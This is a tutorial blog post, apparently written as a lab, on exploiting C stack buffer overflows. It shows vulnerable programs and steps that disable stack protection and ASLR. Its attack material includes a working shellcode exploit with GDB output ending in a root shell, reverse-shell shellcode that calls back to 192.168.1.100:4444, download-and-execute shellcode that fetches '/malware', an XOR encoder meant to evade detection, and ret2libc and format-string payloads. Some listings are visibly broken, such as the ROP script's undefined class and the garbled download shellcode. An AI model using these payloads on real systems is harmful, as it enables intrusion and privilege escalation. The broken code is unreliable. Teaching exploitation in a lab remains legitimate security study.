August 25, 2025
29 Views
Welcome

Buffer Overflow Vulnerability Deep Dive (Part 1): From Principles to Practical Exploitation

Deep dive into the attack principles, memory mechanisms, and practical exploitation techniques of C language buffer overflow vulnerabilities. Through complete examples, detail stack memory layout, function call mechanisms, shellcode construction, and address calculation. A practical tutorial covering vulnerability principles, code analysis, memory debugging, and attack payload construction.

Buffer Overflow Fundamentals

What is a Buffer Overflow

A buffer overflow is a common software security vulnerability that occurs when a program writes data to a fixed-size buffer that exceeds its capacity. This vulnerability can lead to:

  • Memory Corruption: Overwriting adjacent memory regions
  • Program Crash: Disrupting the normal execution flow of the program
  • Code Execution: Attackers may gain control of the program

Memory Layout in C

In a C program, memory is typically divided into the following regions:

bash
1High Address
2+------------------+
3|       Stack      |  ← Function calls, local variables
4||
5+------------------+
6|       ...        |
7+------------------+
8||
9|      Heap        |  ← Dynamically allocated memory
10+------------------+
11|BSS(Uninitialized)|
12+------------------+
13| Data(Initialized)|
14+------------------+
15|     Code Segment |
16+------------------+
17Low Address

Stack Frame Structure

Each function call creates a stack frame on the stack:

bash
1High Address
2+--------------------+
3| Function Arguments |
4+--------------------+
5|     Return Address |  ← Key attack target
6+--------------------+
7|      Saved EBP     |
8+--------------------+
9| Local Variables    |  ← Buffer location
10+--------------------+
11Low Address

When a buffer overflow occurs, data may overwrite the return address, thereby controlling the program's execution flow.

Vulnerable Code Analysis

Target Program Code

c
1#include <stdio.h>
2#include <string.h>
3
4int copy(char *str) {
5    char buffer[100];        // 100-byte local buffer
6    // unsafe!
7    strcpy(buffer, str);     // Dangerous string copy operation
8    return 0;               // Added return value
9}
10
11int main(int argc, char *argv[]) {
12    copy(argv[1]);          // Pass command-line argument to copy function
13    return 0;
14}

Vulnerability Analysis

This simple C program contains a typical buffer overflow vulnerability:

  1. Vulnerability: The strcpy(buffer, str) function does not check the length of the source string
  2. Buffer Size: The buffer array is only 100 bytes
  3. Attack Vector: If argv[1] exceeds 100 bytes, an overflow will occur
  4. Impact: The overflowing data will overwrite other data on the stack, including the return address

Memory Layout Analysis

When the copy function is called, the stack layout is roughly as follows:

bash
1High Address
2+--------------------+
3|    argv[1] pointer |  ← Argument of main function
4+--------------------+
5|copy Return Address |  ← Attack target!
6+--------------------+
7|      Saved EBP     |
8+--------------------+
9|   buffer[99]       |
10|   buffer[98]       |
11|      ...           |100-byte buffer
12|   buffer[1]        |
13|   buffer[0]        |  ← ESP points nearby
14+--------------------+
15Low Address

When the input data exceeds 100 bytes, the excess data will overwrite the saved EBP and the return address.

Extended Vulnerability Examples

To better understand the diversity of buffer overflows, let's look at a few other types of original vulnerability examples. These examples have similar attack patterns to real-world CVE vulnerabilities:

Example 2: User Authentication System Vulnerability (Similar to CVE-2024-28219 Pattern)

c
1#include <stdio.h>
2#include <string.h>
3#include <stdlib.h>
4
5typedef struct {
6    char username[32];
7    char password[32]; 
8    int is_admin;
9} UserCredentials;
10
11int authenticate_user(const char* user_input, const char* pass_input) {
12    UserCredentials creds;
13    creds.is_admin = 0;  // Default non-administrator privileges
14    
15    // Dangerous string copy - may overflow and overwrite the is_admin field
16    strcpy(creds.username, user_input);
17    strcpy(creds.password, pass_input);
18    
19    printf("Username: %s\n", creds.username);
20    printf("Administrator privileges: %s\n", creds.is_admin ? "Yes" : "No");
21    
22    return creds.is_admin;
23}
24
25int main(int argc, char *argv[]) {
26    if (argc != 3) {
27        printf("Usage: %s <username> <password>\n", argv[0]);
28        return 1;
29    }
30    
31    if (authenticate_user(argv[1], argv[2])) {
32        printf("🔓 Administrator privileges obtained!\n");
33        system("/bin/sh");
34    } else {
35        printf("❌ Authentication failed\n");
36    }
37    
38    return 0;
39}

Vulnerability Analysis:

  • Structure Layout: The username and password fields are adjacent to the is_admin field
  • Overflow Point: An overly long username can overwrite the is_admin field, similar to the missing strcpy boundary check in CVE-2024-28219
  • Attack Effect: Overwrites is_admin from 0 to a non-zero value, gaining administrator privileges
  • Real-world Correspondence: This type of vulnerability is common in authentication systems, where attackers modify key flag bits by precisely controlling input length

Example 3: Network Data Handling Vulnerability (Similar to CVE-2023-6549 Pattern)

c
1#include <stdio.h>
2#include <string.h>
3#include <stdint.h>
4
5typedef struct {
6    uint32_t packet_length;
7    char data_buffer[256];
8    void (*process_callback)(char*);
9} NetworkPacket;
10
11void safe_handler(char* data) {
12    printf("Safe handling: %s\n", data);
13}
14
15void dangerous_handler(char* data) {
16    printf("🚨 Dangerous handler function called!\n");
17    system(data);
18}
19
20int process_network_data(const char* raw_data, uint32_t length) {
21    NetworkPacket packet;
22    packet.process_callback = safe_handler;  // Default safe handler function
23    
24    printf("Processing a packet of length %u\n", length);
25    
26    // Potential integer overflow and buffer overflow
27    if (length > 0 && length < 512) {  // Seemingly safe check
28        memcpy(packet.data_buffer, raw_data, length);
29        packet.process_callback(packet.data_buffer);
30    }
31    
32    return 0;
33}
34
35int main(int argc, char *argv[]) {
36    if (argc != 2) {
37        printf("Usage: %s <data>\n", argv[0]);
38        return 1;
39    }
40    
41    uint32_t data_len = strlen(argv[1]);
42    process_network_data(argv[1], data_len);
43    
44    return 0;
45}

Vulnerability Analysis:

  • Function Pointer Overwrite: Overly long data can overwrite the process_callback function pointer
  • Length Check Bypass: Unsigned integer comparison can be bypassed, similar to integer underflow in CVE-2022-0185
  • Attack Vector: Carefully constructed input can point the function pointer to dangerous_handler
  • Real-world Correspondence: This pattern is common in network protocol handling; CVE-2023-6549 triggered a buffer overflow in NetScaler through a similar method

Compilation Settings and Environment Preparation

Compilation Parameter Analysis

bash
1# Compile the vulnerable program
2gcc -m32 -std=c99 -g -fno-stack-protector -z execstack -no-pie -o vul vul.c

The role of each compilation parameter:

  • -m32: Generate a 32-bit executable file, simplifying memory address calculations
  • -std=c99: Compile using the C99 standard
  • -g: Include debugging information for easier debugging with GDB
  • -fno-stack-protector: Disable stack protection mechanism (canary)
  • -z execstack: Allow the stack area to be executable, allowing shellcode to run
  • -no-pie: Disable position-independent executable files, fixing the program loading address

System Security Mechanism Configuration

bash
1# Disable Address Space Layout Randomization (ASLR)
2root@softsec2:/home/toor/sample# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
30

ASLR (Address Space Layout Randomization):

  • Normally, memory addresses are randomized each time a program runs
  • Disabling ASLR makes stack addresses, heap addresses, and library addresses predictable
  • This allows attackers to accurately calculate jump addresses

Vulnerability Exploitation Process

Step 1: Determine the Overflow Point

python
1#!/usr/bin/python3
2# exploit_step1.py - Test basic overflow
3import sys
4
5# Send 112 'A' characters + 4 'B' characters
6# 112 bytes fill the buffer, 4 bytes overwrite the return address
7sys.stdout.buffer.write(b'A' * 112 + b'B' * 4)

Principle Analysis:

  • 112 'A's: Fill the 100-byte buffer + 12 bytes of padding (alignment and saved EBP)
  • 4 'B's: Overwrite the 4-byte return address
  • When the program attempts to return, it will jump to address 0x42424242 ('BBBB' in hexadecimal)

Test Run Results

bash
1# Generate attack payload
2python3 exploit_step1.py > payload1
3
4# Run test
5./vul $(cat payload1)

If successful, the program will crash because it attempts to jump to the invalid address 0x42424242, proving that we have controlled the program's execution flow.

bash
1(gdb) list
2warning: Source file is more recent than executable.
31       #include <stdio.h>
42       #include <string.h>
53       int copy(char *str) {
64           char buffer[100];
75           // unsafe!
86           strcpy(buffer, str);
97       }
108       int main(int argc, char *argv[]) {
119           copy(argv[1]);
1210          return 0;
13(gdb) b 6
14Breakpoint 1 at 0x8049187: file vul.c, line 6.
15(gdb) run $(cat out_boom)
16Starting program: /home/toor/sample/vul $(cat out_boom)
17[Thread debugging using libthread_db enabled]
18Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
19
20Breakpoint 1, copy (str=0xffffdf42 'A' <repeats 112 times>, "BBBB") at vul.c:6
216           strcpy(buffer, str);
22(gdb) n
237       }
24(gdb) x/x $esp
250xffffdcd0:     0xf7ffd000
26(gdb) x/40x $esp
270xffffdcd0:     0xf7ffd000      0x00000020      0x00000000      0x41414141
280xffffdce0:     0x41414141      0x41414141      0x41414141      0x41414141
290xffffdcf0:     0x41414141      0x41414141      0x41414141      0x41414141
300xffffdd00:     0x41414141      0x41414141      0x41414141      0x41414141
310xffffdd10:     0x41414141      0x41414141      0x41414141      0x41414141
320xffffdd20:     0x41414141      0x41414141      0x41414141      0x41414141
330xffffdd30:     0x41414141      0x41414141      0x41414141      0x41414141
340xffffdd40:     0x41414141      0x41414141      0x41414141      0x42424242
350xffffdd50:     0xffffdf00      0xf7fbe66c      0xf7fbeb10      0x080491b7
360xffffdd60:     0x00000001      0xffffdd80      0xf7ffd020      0xf7da7519
37(gdb) c
38Continuing.
39
40Program received signal SIGSEGV, Segmentation fault.
410x42424242 in ?? ()

Step 1 Test Success Analysis:

  1. Input Data Confirmation: GDB shows that the string passed in is 112 'A' characters plus 4 'B' characters
  2. Memory Overwrite Verification:
    • 0xffffdcd0 - 0xffffdd40: A large number of 0x41414141 ('AAAA') fills the buffer and adjacent memory
    • 0xffffdd40: The last 4 bytes are overwritten by 0x42424242 ('BBBB'), which is the location of the function's return address
  3. Attack Effect Confirmation:
    • The program attempts to return to address 0x42424242, which is not a valid memory address
    • The system generates a segmentation fault (SIGSEGV), and the program crashes
    • This proves that we have successfully controlled the program's execution flow

This test confirms:

  • The exact location of the overflow point: 112 bytes of padding + 4 bytes of return address overwrite
  • We can precisely control the value of the EIP register
  • Next, we can replace 0x42424242 with the actual address pointing to the shellcode

Step 2: Constructing the Attack Payload

NOP Sled Technique

NOP (No Operation) is an assembly instruction (machine code: \x90), which does nothing when executed, only incrementing the program counter. A NOP sled is a technique to improve the success rate of an attack:

python
1#!/usr/bin/python3
2# exploit_final.py - Complete attack payload
3import sys
4
5# NOP sled: 64 bytes of NOP instructions
6# Function: Even if the jump address is not accurate enough, it can "slide" to the shellcode
7nopsled = b'\x90' * 64
8
9# Shellcode: Obtain root privileges and execute shell
10shellcode = (
11    b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80' +   # setuid(0) system call
12    b'\x31\xd2\x52\x68\x6e\x2f\x73\x68' +   # Construct "/bin/sh" string
13    b'\x68\x2f\x2f\x62\x69\x89\xe3\x52' +   # Continue constructing the string
14    b'\x53\x89\xe1\x8d\x42\x0b\xcd\x80'     # execve("/bin/sh") system call
15)
16
17# Calculate the number of padding bytes: Total length 112 - NOP sled 64 - shellcode length 32 = 16
18padding = b'A' * (112 - 64 - 32)
19
20# Return address: Jump to a certain location in the NOP sled area
21eip = b"\xF0\xDC\xFF\xFF"  # An address on the stack
22
23# Assemble the final payload: NOP sled + shellcode + padding + return address
24sys.stdout.buffer.write(nopsled + shellcode + padding + eip)

Shellcode Analysis

This shellcode's function is to obtain root privileges and start a shell:

  1. setuid(0): Sets the user ID of the current process to 0 (root)
  2. String Construction: Constructs the "/bin/sh" string on the stack
  3. execve("/bin/sh"): Executes the shell program

Machine Code Analysis:

  • \x31\xc0: xor eax, eax - Clears EAX
  • \x89\xc3: mov ebx, eax - Sets EBX to 0
  • \xb0\x17: mov al, 0x17 - setuid system call number (23)
  • \xcd\x80: int 0x80 - Triggers the system call

Extended Shellcode Analysis

In addition to the basic shellcode that starts a shell, attackers may also use other types of payloads. Here are some common shellcode variations:

Reverse Connection Shellcode

This shellcode establishes a connection to a server controlled by the attacker:

python
1# Reverse connection shellcode (connects to 192.168.1.100:4444)
2reverse_shell = (
3    b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2' +   # Clear registers
4    b'\xb0\x66\xb3\x01\x51\x53\x6a\x02' +   # socket(AF_INET, SOCK_STREAM, 0)
5    b'\x89\xe1\xcd\x80\x89\xc6\xb0\x66' +   # Call system call, save socket fd
6    b'\xb3\x03\x68\x64\x01\xa8\xc0\x66' +   # Construct sockaddr structure (IP: 192.168.1.100)
7    b'\x68\x11\x5c\x66\x53\x89\xe1\x6a' +   # Port 4444, AF_INET
8    b'\x10\x51\x56\x89\xe1\xcd\x80\x31' +   # connect() system call
9    b'\xc9\xb1\x03\xb0\x3f\x49\x89\xf3' +   # Loop dup2() redirect stdin/stdout/stderr
10    b'\xcd\x80\x75\xf8\x31\xc0\x50\x68' +   # 
11    b'\x2f\x2f\x73\x68\x68\x2f\x62\x69' +   # Construct "/bin/sh" string
12    b'\x89\xe3\x50\x53\x89\xe1\xb0\x0b' +   # execve("/bin/sh")
13    b'\xcd\x80'                             # Execute shell
14)

Reverse Connection Shellcode Analysis:

  1. Create Socket: Uses the socket() system call to create a TCP connection
  2. Connect to Attacker: Connects to the specified IP address and port
  3. Redirect IO: Redirects stdin/stdout/stderr to the socket
  4. Execute Shell: Starts the shell, enabling remote control

Download and Execute Shellcode

This shellcode downloads and executes a file from a remote server:

python
1# Download and execute shellcode example
2download_exec = (
3    b'\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68' +   # execve preparation
4    b'\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2d\x63' +   # "/bin/sh", "-c" parameter
5    b'\x00\x00\x89\xe6\x52\x68\x67\x65\x74\x20\x68' +   # "wget " command
6    b'\x77\x67\x65\x74\x20\x89\xe7\x52\x68\x74\x70' +   # Construct wget command
7    b'\x3a\x2f\x2f\x68\x68\x74\x74\x70\x3a\x2f\x2f' +   # "http://"
8    b'\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31' +   # IP address string
9    b'\x30\x30\x2f\x6d\x61\x6c\x77\x61\x72\x65\x20' +   # "/malware "
10    b'\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x2b\x78' +   # "&& chmod +x"
11    b'\x20\x6d\x61\x6c\x77\x61\x72\x65\x20\x26\x26' +   # " malware &&"
12    b'\x20\x2e\x2f\x6d\x61\x6c\x77\x61\x72\x65'        # " ./malware"
13)

Fileless Attack Shellcode

Executes code directly in memory, leaving no file traces:

c
1// Memory execution shellcode framework
2char memory_exec_template[] = 
3    // Allocate executable memory
4    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"     // Clear registers
5    "\xb8\x7d\x00\x00\x00"                 // mmap system call number
6    "\x31\xdb"                             // addr = NULL
7    "\xb9\x00\x10\x00\x00"                 // length = 4096
8    "\xba\x07\x00\x00\x00"                 // prot = PROT_READ|WRITE|EXEC
9    "\xbe\x22\x00\x00\x00"                 // flags = MAP_PRIVATE|ANONYMOUS
10    "\xbf\xff\xff\xff\xff"                 // fd = -1
11    "\x31\xed"                             // offset = 0
12    "\xcd\x80"                             // int 0x80
13    
14    // Copy subsequent code to newly allocated memory
15    "\x89\xc3"                             // Save the address returned by mmap
16    "\x31\xc9"                             // Clear counter
17    "\xeb\x0c"                             // Jump to payload
18    
19    // Insert actual payload code here...
20    ;

Shellcode Encoding Techniques

To bypass intrusion detection systems, shellcode usually needs to be encoded:

python
1def xor_encode_shellcode(shellcode, key=0xAA):
2    """Simple XOR encoding example"""
3    encoded = bytearray()
4    for byte in shellcode:
5        encoded.append(byte ^ key)
6    
7    # Add decoding stub
8    decoder_stub = (
9        b'\xeb\x11'                    # jmp short 0x13 (jump over encoded data)
10        b'\x5e'                        # pop esi (get shellcode address)
11        b'\x31\xc9'                    # xor ecx, ecx (clear counter)
12        b'\xb1' + bytes([len(encoded)]) # mov cl, <length>
13        b'\x80\x36' + bytes([key])     # xor byte ptr [esi], <key>
14        b'\x46'                        # inc esi
15        b'\xe2\xfb'                    # loop decoding loop
16        b'\xeb\x05'                    # jmp short +5 (jump to decoded shellcode)
17        b'\xe8\xea\xff\xff\xff'       # call back to decoder
18    )
19    
20    return decoder_stub + encoded
21
22# Usage example
23original_shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
24encoded = xor_encode_shellcode(original_shellcode)

Shellcode Detection and Protection

Understanding how shellcode works helps implement effective protection measures:

Feature Detection

python
1def detect_shellcode_patterns(data):
2    """Detect common shellcode patterns"""
3    suspicious_patterns = [
4        b'\x31\xc0',          # xor eax, eax
5        b'\xcd\x80',          # int 0x80
6        b'\x2f\x62\x69\x6e', # "/bin"
7        b'\x2f\x73\x68',      # "/sh"
8        b'\x90' * 10,         # NOP sled
9    ]
10    
11    detections = []
12    for pattern in suspicious_patterns:
13        if pattern in data:
14            detections.append(f"Detected suspicious pattern: {pattern.hex()}")
15    
16    return detections

GDB Debugging Analysis

Setting Breakpoints and Running

bash
1
2(gdb) list
3warning: Source file is more recent than executable.
41       #include <stdio.h>
52       #include <string.h>
63       int copy(char *str) {
74           char buffer[100];
85           // unsafe!
96           strcpy(buffer, str);
107       }
118       int main(int argc, char *argv[]) {
129           copy(argv[1]);
1310          return 0;
14
15# Set breakpoint at strcpy function
16(gdb) b 6
17Breakpoint 1 at 0x8049187: file vul.c, line 6.
18
19# Run the program with the attack payload
20(gdb) run $(python3 exploit_final.py)
21Starting program: /home/toor/sample/vul $(python3 exploit_final.py)
22[Thread debugging using libthread_db enabled]
23Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
24
25Breakpoint 1, copy (str=0xffffdf42 '\220' <repeats 64 times>, "\061\300\211\303\260\027\315\200\061\322Rhn/shh//bi\211\343RS\211\341\215B\v\315\200", 'A' <repeats 16 times>, "\360\334\377\377") at vul.c:6
266           strcpy(buffer, str);
27
28# Execute strcpy operation
29(gdb) n
307       }
31
32**Debugging Information Interpretation**:
33- GDB shows the content of the string passed in, showing the NOP sled (`\220` repeated 64 times)
34- Then comes the machine code of the shellcode
35- Then comes the padding character 'A' (16)
36- Finally, the return address `\360\334\377\377`
37
38### Memory State Analysis
39
40```bash
41# Check stack pointer location
42(gdb) x/x $esp      
430xffffdcd0:     0xf7ffd000
44
45# View 40 32-bit words (160 bytes) on the stack
46(gdb) x/40x $esp
470xffffdcd0:     0xf7ffd000      0x00000020      0x00000000      0x90909090
480xffffdce0:     0x90909090      0x90909090      0x90909090      0x90909090
490xffffdcf0:     0x90909090      0x90909090      0x90909090      0x90909090
500xffffdd00:     0x90909090      0x90909090      0x90909090      0x90909090
510xffffdd10:     0x90909090      0x90909090      0x90909090      0xc389c031
520xffffdd20:     0x80cd17b0      0x6852d231      0x68732f6e      0x622f2f68
530xffffdd30:     0x52e38969      0x8de18953      0x80cd0b42      0x41414141
540xffffdd40:     0x41414141      0x41414141      0x41414141      0xffffdcf0
550xffffdd50:     0xffffdf00      0xf7fbe66c      0xf7fbeb10      0x080491b7
560xffffdd60:     0x00000001      0xffffdd80      0xf7ffd020      0xf7da7519

Memory Analysis Details:

  1. NOP Sled Area (0xffffdcd0 - 0xffffdd18):

    • A large number of 0x90909090 represents NOP instructions
    • This provides a large target area for the attack
  2. Shellcode Area (0xffffdd18 - 0xffffdd38):

    • 0xc389c031: Beginning of shellcode (xor eax,eax; mov ebx,eax)
    • 0x80cd17b0: mov al,0x17; int 0x80 (setuid system call)
    • 0x6852d231 - 0x80cd0b42: execve system call related code
  3. Padding Area (0xffffdd38 - 0xffffdd48):

    • 0x41414141: Padding character 'A'
  4. Return Address Overwrite (0xffffdd48):

    • 0xffffdcf0: This is the return address we set, pointing to the NOP sled area

Executing the Attack Payload

bash
1# Continue executing the program
2(gdb) c
3Continuing.
4
5# The program successfully executes the shellcode, starting a new shell
6process 10920 is executing new program: /usr/bin/dash
7Error in re-setting breakpoint 1: No source file named /home/toor/sample/vul.c.
8[Thread debugging using libthread_db enabled]
9Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
10
11# Test privileges - successfully obtained root privileges!
12# whoami
13[Detaching after vfork from child process 10982]
14root

Attack Success Analysis:

  1. When the program returns from the copy function, it jumps to the address we set, 0xffffdcf0
  2. This address points to the NOP sled area, and the processor executes a series of NOP instructions
  3. After "sliding" to the shellcode area, our malicious code begins to execute
  4. The shellcode successfully calls setuid(0) and execve("/bin/sh")
  5. Finally, a shell with root privileges is obtained

Extended Exploitation Techniques

Besides basic stack overflow exploitation, several advanced attack techniques are worth studying:

ROP (Return-Oriented Programming) Attack

When the stack is non-executable, the ROP technique can be used to link existing code snippets:

python
1#!/usr/bin/python3
2# rop_exploit.py - ROP chain attack example
3
4import struct
5
6class ROPGadget:
7    """ROP gadget management class"""
8    def __init__(self):
9        # Useful gadgets found in the program or library
10        self.gadgets = {
11            'pop_eax_ret': 0x080483d1,      # pop eax; ret
12            'pop_ebx_ret': 0x080483d2,      # pop ebx; ret  
13            'pop_ecx_ret': 0x080483d3,      # pop ecx; ret
14            'pop_edx_ret': 0x080483d4,      # pop edx; ret
15            'int_0x80': 0x080483d5,         # int 0x80; ret
16            'xor_eax_ret': 0x080483d6,      # xor eax, eax; ret
17            'bin_sh_addr': 0x080484a0,      # "/bin/sh" string address
18        }
19    
20    def build_payload(self):
21        """Construct ret2libc attack payload"""
22        addrs = self.calculate_addresses()
23        
24        # Buffer padding
25        padding = b'A' * 112
26        
27        # Construct call chain: system("/bin/sh"); exit(0);
28        payload = padding
29        payload += struct.pack('<I', addrs['system'])   # Return to system()
30        payload += struct.pack('<I', addrs['exit'])     # Call exit() after system returns
31        payload += struct.pack('<I', addrs['bin_sh'])   # Parameter "/bin/sh" for system()
32        
33        return payload
34
35# Address leakage helper function
36def leak_libc_address():
37    """
38    In actual attacks, libc address needs to be leaked first
39    This is for demonstration purposes only
40    """
41    # Example: Leak address through format string vulnerability
42    format_string_payload = b"AAAA" + b"%p " * 20
43    return format_string_payload
44
45# Usage example
46exploit = Ret2LibcExploit()
47payload = exploit.build_payload()
48
49print(f"ret2libc payload length: {len(payload)} bytes")
50sys.stdout.buffer.write(payload)

Heap Overflow Exploitation Example

Basic concepts of heap overflow attacks:

python
1#!/usr/bin/python3
2# heap_overflow_demo.py - Heap overflow concept demonstration
3
4class HeapChunk:
5    """Simulate heap chunk structure"""
6    def __init__(self, size, data=b''):
7        self.size = size
8        self.prev_size = 0
9        self.flags = 0
10        self.data = data[:size-8]  # Subtract header 8 bytes
11        self.fd = 0    # forward pointer
12        self.bk = 0    # backward pointer
13    
14    def __repr__(self):
15        return f"Chunk(size={self.size}, data={self.data[:20]}...)"
16
17class HeapManager:
18    """Simplified heap manager"""
19    def __init__(self):
20        self.chunks = []
21        self.free_list = []
22    
23    def malloc(self, size):
24        """Allocate memory block"""
25        # 8-byte alignment
26        aligned_size = (size + 7) & ~7
27        chunk = HeapChunk(aligned_size + 8)  # Add header
28        self.chunks.append(chunk)
29        return len(self.chunks) - 1  # Return block index
30    
31    def free(self, chunk_id):
32        """Free memory block"""
33        if 0 <= chunk_id < len(self.chunks):
34            chunk = self.chunks[chunk_id]
35            self.free_list.append(chunk_id)
36            print(f"Free block {chunk_id}: {chunk}")
37    
38    def write_data(self, chunk_id, data):
39        """Write data to block"""
40        if 0 <= chunk_id < len(self.chunks):
41            chunk = self.chunks[chunk_id]
42            if len(data) <= len(chunk.data):
43                chunk.data = data
44                print(f"Safe write to block {chunk_id}")
45            else:
46                # Overflow situation
47                chunk.data = data  # This will overflow to adjacent blocks
48                print(f"⚠️ Block {chunk_id} overflow!")
49                self.check_corruption()
50    
51    def check_corruption(self):
52        """Check heap corruption"""
53        for i, chunk in enumerate(self.chunks):
54            if len(chunk.data) > chunk.size - 8:
55                print(f"🚨 Detected block {i} data overflow")
56                if i + 1 < len(self.chunks):
57                    next_chunk = self.chunks[i + 1]
58                    print(f"   May affect block {i+1}: {next_chunk}")
59
60# Heap overflow demonstration
61def heap_overflow_demo():
62    """Demonstrate heap overflow attack"""
63    heap = HeapManager()
64    
65    # Allocate two adjacent blocks
66    chunk1 = heap.malloc(32)
67    chunk2 = heap.malloc(32)
68    
69    print(f"Allocated block1 (ID: {chunk1})")
70    print(f"Allocated block2 (ID: {chunk2})")
71    
72    # Normal write
73    heap.write_data(chunk1, b"Normal data")
74    heap.write_data(chunk2, b"Another block")
75    
76    print("\n--- Heap Overflow Attack ---")
77    # Overflow write, overwrite next block
78    overflow_data = b"A" * 50 + b"OVERFLOW_DATA"
79    heap.write_data(chunk1, overflow_data)
80
81if __name__ == "__main__":
82    heap_overflow_demo()

Format String Attack

Exploiting format string vulnerabilities in printf-like functions:

python
1#!/usr/bin/python3
2# format_string_exploit.py - Format string attack
3
4def generate_format_string_payload(target_addr, value):
5    """
6    Generate format string attack payload
7    Modify the value at target_addr to value
8    """
9    # Decompose target address into 4 bytes
10    addr_bytes = [
11        target_addr & 0xff,
12        (target_addr >> 8) & 0xff, 
13        (target_addr >> 16) & 0xff,
14        (target_addr >> 24) & 0xff
15    ]
16    
17    # Construct payload
18    payload = b""
19    
20    # Place target address 
21    for i in range(4):
22        payload += (target_addr + i).to_bytes(4, 'little')
23    
24    # Construct format string
25    # This is a simplified example, actual situation needs adjustment based on stack offset
26    format_str = "AAAA"
27    
28    # Use %hhn to write single byte values
29    for i, byte_val in enumerate(value.to_bytes(4, 'little')):
30        if byte_val == 0:
31            format_str += f"%{8+i}$hhn"
32        else:
33            # Calculate required padding
34            format_str += f"%{byte_val-4}c%{8+i}$hhn"
35    
36    return payload + format_str.encode()
37
38def demo_format_vulnerability():
39    """Demonstrate format string vulnerability"""
40    print("=== Format String Vulnerability Demo ===")
41    
42    # Simulate vulnerable C code:
43    # char buffer[100];
44    # gets(buffer);
45    # printf(buffer);  // Dangerous! User input directly as format string
46    
47    # Information leak payload
48    leak_payload = b"AAAA" + b"%p " * 10
49    print(f"Information leak payload: {leak_payload}")
50    
51    # Address write payload
52    target_addr = 0x08049680  # Assumed target address
53    new_value = 0x41414141    # Value to write
54    
55    write_payload = generate_format_string_payload(target_addr, new_value)
56    print(f"Address write payload length: {len(write_payload)} bytes")
57    
58    return write_payload
59
60if __name__ == "__main__":
61    demo_format_vulnerability()

Summary and Next Article Preview

In this article, we have deeply explored the fundamental principles and practical exploitation techniques of buffer overflow vulnerabilities:

Key Points Review

  1. Basic Principles: In-depth understanding of stack memory layout, function call mechanisms, and stack frame structures
  2. Vulnerability Analysis: Analysis of buffer overflow causes and impacts through specific C code examples
  3. Practical Exploitation:
    • Learned how to determine overflow points and construct attack payloads
    • Mastered NOP sled techniques and shellcode construction methods
    • Understood various attack techniques: ROP, ret2libc, heap overflow, etc.
  4. Debugging Techniques: Using GDB for memory state analysis and vulnerability verification
  5. Advanced Attacks: Format string attacks, reverse connection shellcode, and other extended techniques

Practical Skills Gained

Through this article's study, readers should master:

  • Identifying potential buffer overflow vulnerabilities in C/C++ code
  • Using debugging tools to analyze memory layout and execution flow
  • Constructing basic buffer overflow attack payloads
  • Understanding the evolution process of modern attack techniques

Next Article Preview: Modern Protection and Real-World Cases

In the next article, we will explore in depth:

Modern Protection Mechanisms

  • CISA security guidance and enterprise-level protection practices
  • Stack protection, ASLR, DEP and other protection technologies and their bypass methods
  • Secure programming practices and code audit techniques

Real CVE Vulnerability Cases

  • CVE-2024-38812 (VMware vCenter Server heap overflow)
  • CVE-2022-0185 (Linux kernel privilege escalation)
  • CVE-2023-6549 (Citrix NetScaler DoS)
  • CVE-2024-28219 (Pillow library strcpy overflow)

Vulnerability Detection and Emergency Response

  • Automated vulnerability scanning and code audit tools
  • Enterprise emergency response processes and best practices
  • Continuous security monitoring and threat intelligence integration

Modern Language Security Comparison

  • How Go language avoids buffer overflow from the design level
  • Memory-safe programming language feature analysis

The next article will combine real CVE cases to demonstrate the actual threats of buffer overflow vulnerabilities in modern environments and provide comprehensive protection strategies. Stay tuned!

Enjoyed this article?

Share it with your friends and colleagues!

Welcome
Last updated: August 25, 2025
相关文章
正在检查服务状态...
Buffer Overflow Vulnerability Deep Dive (Part 1): From Principles to Practical Exploitation - ICTRUN